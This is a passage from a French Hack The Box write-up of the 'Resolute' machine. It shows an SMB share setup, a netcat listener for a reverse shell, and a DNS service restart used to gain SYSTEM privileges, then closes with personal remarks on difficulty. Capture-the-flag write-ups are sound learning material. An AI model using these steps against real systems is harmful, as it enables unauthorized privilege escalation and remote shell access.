./smbserver.py SHARE ~/HTB/Resolute/

Dans un second shell on lance un port en écoute pour le reverse shell :

nc -nlvp 4444

Et dans le dernier, on redémarre le service DNS :

sc.exe stop dns
sc.exe start dns
Nous sommes root.

Nous pouvons donc récuperer le fichier root.txt :

Conclusion

J’ai bien aimé cette VM, une de mes favorites pour l’instant avec Sauna. Cela ouvre d’autres voies d’explorations et d’élévations de privilèges.

Par contre, je suis toujours surpris par le classement des VM sur le niveau de difficulté. Sauna était plus difficile à mon sens. Après, cela dépend certainement des compétences/connaissances de chacun et des affinités que l’on a avec telle ou telle technologie.